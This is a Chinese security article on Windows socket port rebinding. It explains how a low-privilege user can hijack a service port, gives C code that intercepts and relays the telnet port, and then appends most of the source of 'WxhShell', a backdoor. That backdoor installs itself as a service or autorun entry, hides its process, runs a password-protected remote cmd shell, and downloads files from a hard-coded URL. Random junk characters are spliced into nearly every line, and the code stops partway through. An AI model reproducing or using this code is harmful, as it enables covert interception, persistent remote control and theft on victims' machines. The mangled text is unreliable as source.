在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
a*qf\&Vb| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
62}rZVJq %[ Z[ saddr.sin_family = AF_INET;
uT#MVv~ . mYE 8]4 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
B{In
"R8 (_9cL,v bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
B. J_(V+ 2l8TX #K 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
tn"n~;Bh?: AP2BND9 这意味着什么?意味着可以进行如下的攻击:
5bfd8C A.5N<$l 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
|%i|P)] K;n5[o&c 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
o#X=1us 'QMvj` - 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
U#7moS'r '&|]tu:q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:epjJ1mW No'^]r 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
G;'=#c
^ B!z-O*fLE1 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
5@:c6(5$ LK?V`J5wY 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
M.[A%_|P y5v}EX`m& #include
w<4,;FFlZ/ #include
*1>zE>nlP #include
\0^ZNa? #include
1>$}N?u:T DWORD WINAPI ClientThread(LPVOID lpParam);
xpzQ"'be int main()
ToNRY<! {
--32kuF&( WORD wVersionRequested;
Z6`oGFq DWORD ret;
%)|_&Rh WSADATA wsaData;
M<sY_<z BOOL val;
8%Wg;:DZx SOCKADDR_IN saddr;
us:V\V SOCKADDR_IN scaddr;
z;74(5?q int err;
6z (eW]p SOCKET s;
p{sbf;-x} SOCKET sc;
Ga%x(1U[& int caddsize;
p-6(>,+E[ HANDLE mt;
HLPnbI-+ DWORD tid;
`!K!+`Z9 wVersionRequested = MAKEWORD( 2, 2 );
6*cY[R|q! err = WSAStartup( wVersionRequested, &wsaData );
H/eyc` if ( err != 0 ) {
1e0O-aT#Q printf("error!WSAStartup failed!\n");
"n4' \ig return -1;
9Xr @ll }
K)h\X~s saddr.sin_family = AF_INET;
-quWnn/ Tt0:rQ. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
lF=l|.c .hD2g" saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?^# h|aUp. saddr.sin_port = htons(23);
iTt#%Fs)4M if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
N1O& fMz {
NWGSUUa printf("error!socket failed!\n");
zeXMi:X return -1;
^aW?0qsH }
xSQ0] vE val = TRUE;
4/Vy@h"A3 //SO_REUSEADDR选项就是可以实现端口重绑定的
WdA6Y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Cw=wU/) {
ic"n*SZa printf("error!setsockopt failed!\n");
)LA^j|Y} return -1;
sF/X#GG- }
}x[d]fcC //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
$rZ:$d.C //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+UK". //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
j'?^<4i t*fG;YOg if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
.CrrjS w {
+Oae3VFf; ret=GetLastError();
5>XrNc91 printf("error!bind failed!\n");
yqg&dq return -1;
iw,F)O }
KAR XC,z listen(s,2);
O1o.^i$-M while(1)
!~'\Ey {
U`j[Ni}" caddsize = sizeof(scaddr);
0I.9m[<Fc //接受连接请求
;x[F4d sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
XsldbN^6 if(sc!=INVALID_SOCKET)
mErXdb|L {
,_66U;T mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
+ *YGsM`E9 if(mt==NULL)
=5P_xQx {
pai>6p printf("Thread Creat Failed!\n");
(8!#<$ break;
w"CcWng1 }
dVDQ^O& }
7]_lSYwrb CloseHandle(mt);
1}E`K# }
W|U!kqU closesocket(s);
:x*8*@kC
WSACleanup();
+uF!.!} return 0;
2a;vLc4 }
S7Xr~5>X DWORD WINAPI ClientThread(LPVOID lpParam)
k'N `5M) {
^n@. SOCKET ss = (SOCKET)lpParam;
XpzdvR1 SOCKET sc;
"y>\
mC unsigned char buf[4096];
>G2o SOCKADDR_IN saddr;
H|='|k5Y. long num;
U[zY0B DWORD val;
TEZ^Ia DWORD ret;
{~yj]+Im //如果是隐藏端口应用的话,可以在此处加一些判断
]McLace& //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
4z-sR/ d saddr.sin_family = AF_INET;
\s2hep saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
pti`q) saddr.sin_port = htons(23);
a1p:~;f}[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3,j)PKf
; {
6h
N~< printf("error!socket failed!\n");
:GC<U|p return -1;
d:0RDK-}s }
|")}p=
val = 100;
Pze$QBNoRd if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
s)"C~w^ {
\4I1wdd|^ ret = GetLastError();
S#qd#Zk|Y return -1;
E;~gQ6vAI }
-UkP{x)S if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Rd;k> e {
1?"vKm ret = GetLastError();
`CW8Wj return -1;
F"j0;}+N }
z
%` \p if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
_{&znXf>?6 {
F ^Rt
6Io printf("error!socket connect failed!\n");
A1@tp/L=o closesocket(sc);
STs~GOm- closesocket(ss);
+T=Z!2L return -1;
8 s!0Z1Roc }
E\#hcvP while(1)
KDgJ~T {
*7.!"rb8A //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
B;[{7J] //如果是嗅探内容的话,可以再此处进行内容分析和记录
Rj9z'?a9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
/HgdTyR) num = recv(ss,buf,4096,0);
@jO3+ if(num>0)
d/Xbk%`p send(sc,buf,num,0);
w"$CV@AJ else if(num==0)
-0PT(gx break;
oAe]/ j$ num = recv(sc,buf,4096,0);
<Bb$d@c if(num>0)
rOw""mE send(ss,buf,num,0);
vb)Z&V6( else if(num==0)
vL@N21u break;
{<iIL3\mC }
jZS6f*$ closesocket(ss);
r]Bwp i% closesocket(sc);
VdQ}G!d return 0 ;
}9t$Cs% }
<",4O u _s *:bNK5I.t ==========================================================
+I#4+0f L=3^A'| 下边附上一个代码,,WXhSHELL
e~=fo#*2?@ 6UR.,*f= ==========================================================
m `~/]QQ |_8::kir: #include "stdafx.h"
vC[)/w Cq;t;qN,nQ #include <stdio.h>
|;ycEB1 #include <string.h>
F.ryeOJ #include <windows.h>
23@e?A=C #include <winsock2.h>
ug0[*#|Y #include <winsvc.h>
&\4AvaeA8y #include <urlmon.h>
He^+>XIam N_Cu%HP #pragma comment (lib, "Ws2_32.lib")
1u75 #pragma comment (lib, "urlmon.lib")
j':Ybr>BR 7lY&/-V #define MAX_USER 100 // 最大客户端连接数
HT)b3Ws~M8 #define BUF_SOCK 200 // sock buffer
;H/*%2 #define KEY_BUFF 255 // 输入 buffer
;!DUN zl !/ TeTmo #define REBOOT 0 // 重启
, fFB.q"
#define SHUTDOWN 1 // 关机
>
nY<J % @3AA< #define DEF_PORT 5000 // 监听端口
=_I2ek db`xlvrCY #define REG_LEN 16 // 注册表键长度
o1YX^-<[F #define SVC_LEN 80 // NT服务名长度
7'Y 3T[ } *|_P // 从dll定义API
f!a[+^RB: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
s t P~/} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
[
\ LA typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
q]YPDdR# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
KhAj`vOzK a_4Ny // wxhshell配置信息
E ;65k Z struct WSCFG {
7SLJLn3d int ws_port; // 监听端口
@'j=oTT char ws_passstr[REG_LEN]; // 口令
5:/
zbt\C int ws_autoins; // 安装标记, 1=yes 0=no
_'0HkT{I char ws_regname[REG_LEN]; // 注册表键名
:TJv<NZi' char ws_svcname[REG_LEN]; // 服务名
`}#(Ze*V: char ws_svcdisp[SVC_LEN]; // 服务显示名
ZQ9!k*
^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
T`7;Rl'Q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
akHcN]sa2 int ws_downexe; // 下载执行标记, 1=yes 0=no
[H)NkR;I char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
0b+OB pqN char ws_filenam[SVC_LEN]; // 下载后保存的文件名
LvgNdVJDP| A9\m.3jo };
ce th )Xm =fG c?PQ // default Wxhshell configuration
|E-/b6G struct WSCFG wscfg={DEF_PORT,
|>@Gbgw^M "xuhuanlingzhe",
'uS!rKkQlu 1,
k v1q\ "Wxhshell",
xZW6Hk_ "Wxhshell",
87P{vf# "WxhShell Service",
p s=jGh[ "Wrsky Windows CmdShell Service",
a5ZU"6Hi "Please Input Your Password: ",
,0%P3 1,
Wm$(b2t "
http://www.wrsky.com/wxhshell.exe",
Q1J./C} "Wxhshell.exe"
%7%7
W*0d };
n0g,r/ 5!u.w // 消息定义模块
*t J+!1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
BTjfzfO" char *msg_ws_prompt="\n\r? for help\n\r#>";
Cv862kP char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
<jE6ye(R char *msg_ws_ext="\n\rExit.";
P/snzm|@ char *msg_ws_end="\n\rQuit.";
'b#RfF,7H} char *msg_ws_boot="\n\rReboot...";
_yY(&(]# char *msg_ws_poff="\n\rShutdown...";
=xcA4"k char *msg_ws_down="\n\rSave to ";
3kFSu T.O^40y char *msg_ws_err="\n\rErr!";
P5/K?I~/So char *msg_ws_ok="\n\rOK!";
d!kiWmw, D|m6gP;P char ExeFile[MAX_PATH];
So; ; int nUser = 0;
maQE Bi, HANDLE handles[MAX_USER];
WGjT06a\ int OsIsNt;
M,@\*qlEJ v(D{_ SERVICE_STATUS serviceStatus;
1;cV [&3 SERVICE_STATUS_HANDLE hServiceStatusHandle;
{|?OKCG{ \hN\px // 函数声明
CqX2R:# int Install(void);
_"n1"%Ns int Uninstall(void);
It'hmwu# int DownloadFile(char *sURL, SOCKET wsh);
z3+y|nx! int Boot(int flag);
nM:e<`r void HideProc(void);
dA>=#/" int GetOsVer(void);
1~:7W int Wxhshell(SOCKET wsl);
,ButNBv void TalkWithClient(void *cs);
=g4^tIYq int CmdShell(SOCKET sock);
JwWW w1 int StartFromService(void);
}Kc[pp|9< int StartWxhshell(LPSTR lpCmdLine);
L6`(YX.: DpjiE/* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
4zuM?Dp VOID WINAPI NTServiceHandler( DWORD fdwControl );
*(6vO{ A6ipA/_ // 数据结构和表定义
J'^H@L/E SERVICE_TABLE_ENTRY DispatchTable[] =
%T@ 3-V_ {
h|OqM:J; {wscfg.ws_svcname, NTServiceMain},
YT\x'`>Q {NULL, NULL}
D /ysS$!{ };
#<df!) ~]f+ // 自我安装
8 tMfh int Install(void)
r&sm&4)p-5 {
\GYh"5 char svExeFile[MAX_PATH];
.;j} :< HKEY key;
2mUq$kws strcpy(svExeFile,ExeFile);
2g
shiY8_ 2)}ic2]pn // 如果是win9x系统,修改注册表设为自启动
\.h!'nfF if(!OsIsNt) {
@IL_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
XnC`JO+7M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#T<<{ RA RegCloseKey(key);
w@&g9e6E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~lO^C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,{wA%Oy, RegCloseKey(key);
yZ?|u57 return 0;
[ ySO }
*L_ +rJj, }
^q``f%Xt }
L=Cm0q 3v else {
XBQ]A89G ;xF5P'T?| // 如果是NT以上系统,安装为系统服务
W*A-CkrO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
r #H(kJu, if (schSCManager!=0)
;/gH6Z? {
Jlgo@?Lc SC_HANDLE schService = CreateService
MZp` (
9_yO6)` schSCManager,
u&MlWKCi wscfg.ws_svcname,
)Los\6PRn wscfg.ws_svcdisp,
Y rq-( SERVICE_ALL_ACCESS,
E?%SOU< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
7/*Q?ic SERVICE_AUTO_START,
p.{9OrH(4 SERVICE_ERROR_NORMAL,
&k'J5YHm8H svExeFile,
",wv*z)_> NULL,
E-Z6qZ^ NULL,
,_HSvs7- NULL,
AKWM7fI NULL,
9
Yv;Dom NULL
+#qW 0g );
Y:|_M3&'o if (schService!=0)
{2u#Q7]| {
_86pbr9 CloseServiceHandle(schService);
Pl|e?Np CloseServiceHandle(schSCManager);
5I #L|+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
K/oC+Z;K strcat(svExeFile,wscfg.ws_svcname);
z"4UObVs if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Jpi\n-
d! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
>uMj}<g#Z? RegCloseKey(key);
a.P7O!2Lp return 0;
osKM3}Sb }
*#ccz }
_T[ =7 cn CloseServiceHandle(schSCManager);
x!6&)T?!n }
`[T|Ck5 }
x13t@b bWc3a return 1;
(Uo:WyVj|F }
5nq0#0Oc 7:fC,2+ // 自我卸载
CV/ei,=9 int Uninstall(void)
Pba 6Ay6B {
wps`2`z HKEY key;
Jw%0t'0Zi XXuIWIhm if(!OsIsNt) {
(1.E9+MquU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
VCOz?Y* RegDeleteValue(key,wscfg.ws_regname);
h.\V;6ly RegCloseKey(key);
,TrrqCw> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*Xh)22~T RegDeleteValue(key,wscfg.ws_regname);
2[WH8l+ RegCloseKey(key);
r>fx55dw return 0;
oK;.|ja }
sGx"ja+ }
<~9z.v7 }
?L=@Zs else {
f.?p"~! YE<_a;yh1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
0fgt2gA33 if (schSCManager!=0)
#R_IF&7 {
,xA`Fu9^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
gg;&a( if (schService!=0)
_M
n7zt1^ {
m/#)B6@A if(DeleteService(schService)!=0) {
x1['+!01 CloseServiceHandle(schService);
YGy.39@31 CloseServiceHandle(schSCManager);
>kK;IF9h return 0;
Kyy CS> }
]Lg$p CloseServiceHandle(schService);
<0,c{e }
ve|:z CloseServiceHandle(schSCManager);
WLr\ l29 }
;>?NH6B, }
n[Jpy[4g NP%Y\%;l6 return 1;
CBC0X}_` }
;q:.&dak1 P]*,955*) // 从指定url下载文件
JGH;&UYP int DownloadFile(char *sURL, SOCKET wsh)
Wi3:;`>G<p {
T/NeoU3 p HRESULT hr;
>"qnuv G char seps[]= "/";
# biI=S char *token;
=5bef8 O char *file;
E?>
ERO3 char myURL[MAX_PATH];
9pN},F91n: char myFILE[MAX_PATH];
;0lHi4 c0 $ZSjq strcpy(myURL,sURL);
7MXi_V;p< token=strtok(myURL,seps);
sqkk4w1#C while(token!=NULL)
!Yx9=>R {
}^).Y7{g[ file=token;
5 rpX"( token=strtok(NULL,seps);
,tt]C~\u }
ttlFb]zZh &)4#0L4 GetCurrentDirectory(MAX_PATH,myFILE);
]"Y?
ZS;H strcat(myFILE, "\\");
dtHB@\1 strcat(myFILE, file);
~gz_4gzb send(wsh,myFILE,strlen(myFILE),0);
qx,>j4yw send(wsh,"...",3,0);
Ae,P&( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
#bN'N@| if(hr==S_OK)
F@</Ev return 0;
i,5mH$a&u: else
G.CkceWRn return 1;
#~(J
J L\1&$|? }
cB,O"-
_}4l4 // 系统电源模块
mUFg(;ya int Boot(int flag)
`;?`XC"m {
Npq_1L HANDLE hToken;
v(5zSo TOKEN_PRIVILEGES tkp;
;[pY>VJ( $\:;N]Cs~0 if(OsIsNt) {
W!@*3U]2R OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
qX,TX
3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ozF173iI tkp.PrivilegeCount = 1;
;8!L*uMI tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
*qM)[XO AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
u">KE6um if(flag==REBOOT) {
7RE'KH_$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<d&9`e1Hc return 0;
:=CRsQAn }
nQy %av$ else {
PcxCal4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
?H7Ym N return 0;
|}hV_ }
iLd_{ }
Vifh`BSP else {
(P=q&]l[ if(flag==REBOOT) {
2D`_!OG= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
,\2w+L5TD return 0;
Zt3Y<3o }
[PRQa[_ else {
57nSyd]PR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
G]DSwtB?D return 0;
BH@b]bEJ }
OhNEt> }
;|a,1#x m+3U[KKvG return 1;
zG"*B_l}+ }
d z- v; =|-y // win9x进程隐藏模块
Z+3j>_Ss void HideProc(void)
p|q} z / {
G\\0N^v uaiCyh1: HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
W.|r=
if ( hKernel != NULL )
KV1/!r+* {
`fL81)!jI# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@_:Jm
tH< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
il403Ae0 FreeLibrary(hKernel);
0q4E^}iR }
s]lIDp} v&#=1Zb return;
rzk]{W }
I7[F,xci e
[}m@a // 获取操作系统版本
(hb\1wZ int GetOsVer(void)
IegZ)&_n {
O)Wc\- OSVERSIONINFO winfo;
C=y[WsT winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
i!tF{'*%# GetVersionEx(&winfo);
0Na/3cz|zg if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
?J1x'/G return 1;
)9PP3" I else
DqQ+8 w return 0;
4ne95_i }
hU]Gv)B dM^1O-K: // 客户端句柄模块
kr=&x)Wy! int Wxhshell(SOCKET wsl)
(mvzGXNz4 {
p1mY@[A SOCKET wsh;
DjK struct sockaddr_in client;
s .xJ},E9 DWORD myID;
k`u:Cz#aB ?)2&LVrf while(nUser<MAX_USER)
kCuIEv@ {
U`-]U2" int nSize=sizeof(client);
FK:Tni wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
r^jiK\* if(wsh==INVALID_SOCKET) return 1;
tt%lDr1A) O0i)Iu(J7; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
*fIb|r if(handles[nUser]==0)
^rP`
.Z closesocket(wsh);
>E:V7Fa else
"T?hIX/p_ nUser++;
r^2>60q' }
SZ*Nr=X WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ahnQq9 !-OPzfHrI return 0;
$vQ#ah/k }
<)J83D0$E !
,*4d $ // 关闭 socket
%`F&,!d void CloseIt(SOCKET wsh)
x U1](O {
Z}E.s@w closesocket(wsh);
._$tNGI4 nUser--;
@ 7WWoy ExitThread(0);
(oKrIm }
:hA=(iz ZWVN(U // 客户端请求句柄
Uql|32j void TalkWithClient(void *cs)
ohod)8 {
(
\ \BsK [RqL0EP SOCKET wsh=(SOCKET)cs;
#"6O3.P char pwd[SVC_LEN];
M
yvyp char cmd[KEY_BUFF];
X`n)]~ char chr[1];
uq~Z int i,j;
^@"EI|fsP NukcBH while (nUser < MAX_USER) {
2A5R3x=\ (H/2{## if(wscfg.ws_passstr) {
42{\u 08Z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1%R8q=_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
t\/i9CBn //ZeroMemory(pwd,KEY_BUFF);
`o;E i=0;
2D"n#O`y while(i<SVC_LEN) {
ZYi."^l KO ~_ // 设置超时
cU+%zk fd_set FdRead;
sFvu@Wm'7W struct timeval TimeOut;
]rpU3 3 FD_ZERO(&FdRead);
6BnP"R. FD_SET(wsh,&FdRead);
Tf|?j=f TimeOut.tv_sec=8;
VX;br1$X TimeOut.tv_usec=0;
feI%QnK)U int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Hw(_l,Xf if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
gHB*u!w7Z s\CZ os& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`~0^fSww pwd
=chr[0]; ~g6`Cp`
if(chr[0]==0xd || chr[0]==0xa) { Q|gRBu
pwd=0; e?V7<7$
break; yqY nd<K4
} 9}=]oX!+V
i++; ixf~3Y8
} \$iU#Z
]+!{^h$
// 如果是非法用户,关闭 socket >Z\{P8@k0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hhqSfafUX
} -F-RWs{yS
FK^JCs^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S~ff<A>f
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3Y
L
qId-v =L
while(1) { T[z}^"
\h#,qTE
ZeroMemory(cmd,KEY_BUFF); }^}fx [
z`?{5v -Qs
// 自动支持客户端 telnet标准 <#[_S$54
j=0; CSA.6uIT
while(j<KEY_BUFF) { }Sxuc/%:
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |9Gng`)
cmd[j]=chr[0]; V[w Y;wj
if(chr[0]==0xa || chr[0]==0xd) { /^F_~.u{
cmd[j]=0; lJ'.1Z&
break; [\Ks+S
} o:p6[SGd
j++; NB["U"1[^E
} "<#-#j
'T
'&OA
// 下载文件 :Z}d#Rbl
if(strstr(cmd,"http://")) { :75$e%'A
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3!&PI
if(DownloadFile(cmd,wsh)) yU e7o4Zm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xD:t$~
else P
,%IZ.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4P>[]~S
} pd3=^Zi
else { JTw< 4]
h~!KNF*XW
switch(cmd[0]) { H}Jdnu| ko
*an^
0
// 帮助 up# R9
d|
case '?': { t#fbagTON
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4TPAD)C
break; S
.KZ)
} N=JZtf/i
// 安装 p#]D-?CM)
case 'i': { fP:n=A{
if(Install()) RS8tE(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y7x&/2
else BA5b;+o-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zZhAH('fG
break; ~6<'cun@x
} A ;06Zrf1
// 卸载 +9tm9<F8
case 'r': { [i9.#*
if(Uninstall()) \8KAK3i'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VssD
else T[?toqkD>z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M6j!_0j
break; "-WEUz
} vC#
*w,
// 显示 wxhshell 所在路径 y{?wxg9
case 'p': { ! U6 x_
char svExeFile[MAX_PATH]; GY%2EM(
strcpy(svExeFile,"\n\r"); /qKO9M5A
strcat(svExeFile,ExeFile); ^L,Uz:[J
send(wsh,svExeFile,strlen(svExeFile),0); wT taj08D
break; Z [aKic
} 8B*XXFy\
// 重启 2fa1jl
case 'b': { 'Avp16zg
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8Hf:yG,
if(Boot(REBOOT)) %mO.ur>21
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [yEH!7
else { 8+?|4'\`
closesocket(wsh); JM&:dzyIP
ExitThread(0); S,*
} tn\PxT
break; (L2:|1P)
} t=6[FK
// 关机 2JMMNpya
case 'd': { (Cc!Iw'0M
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &|LP>'H;
if(Boot(SHUTDOWN)) l_1y#B-k5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;;Y>7Kn!u
else { 2H]~X9,z2
closesocket(wsh); d.)%C]W{
ExitThread(0); x,+2k6Wn!
} s^QXCmb$8
break; _P:}]5-|
} gE}+`w/X
// 获取shell bo]= *
case 's': { jkrv2 `"
CmdShell(wsh); 9?6]Zag
closesocket(wsh); oE;SZ"$x
ExitThread(0); ]6*+i $
break; ;LhNz ()b
} Pi!3wy
// 退出 yf/c
case 'x': { +Y9n@`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q'
CloseIt(wsh); UEb'b,O_9
break; O\5q_>]
} -:P`Rln
// 离开 yaw33/iN
case 'q': { EXz{Pqz
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZQ_&HmgRy
closesocket(wsh); {T=rsPp<@
WSACleanup(); AgU 7U/yk
exit(1); h{BO\^6x
break; NA<6s]Cs.
} 'C")X
} /Sn>{ &
} by{ *R
WokQ
X"
// 提示信息 efnj5|JSV
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ->0OqVQA
} oKlO cws}
} zB@@Gs>
j\^u_D
return; 'aAay*1
} 6z2_b wo
\~{b;$N}
// shell模块句柄 `
g5S
int CmdShell(SOCKET sock) *K}j>A
{ HHMv%H]M
STARTUPINFO si; j1hx{P'
ZeroMemory(&si,sizeof(si)); ,VTX7vaH
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H{4/~Z
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1qgzb
PROCESS_INFORMATION ProcessInfo; UN"U#Si)
char cmdline[]="cmd"; 4[$D3,A
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MY$-D+#/`
return 0; O:>9yZhV
} ^ 1 P@BRh
Om/mpU/U
// 自身启动模式 nOE 1bf^l
int StartFromService(void) 4CdST3
{ $!-a)U,w$B
typedef struct n;5;D
{ HxXCxI3
DWORD ExitStatus; $kM8E@x2
DWORD PebBaseAddress; ~LKX2Q:S
DWORD AffinityMask; >aaHN1Ca
DWORD BasePriority; B&Igm<72x
ULONG UniqueProcessId; IUJRP
ULONG InheritedFromUniqueProcessId; RlH~<|XK
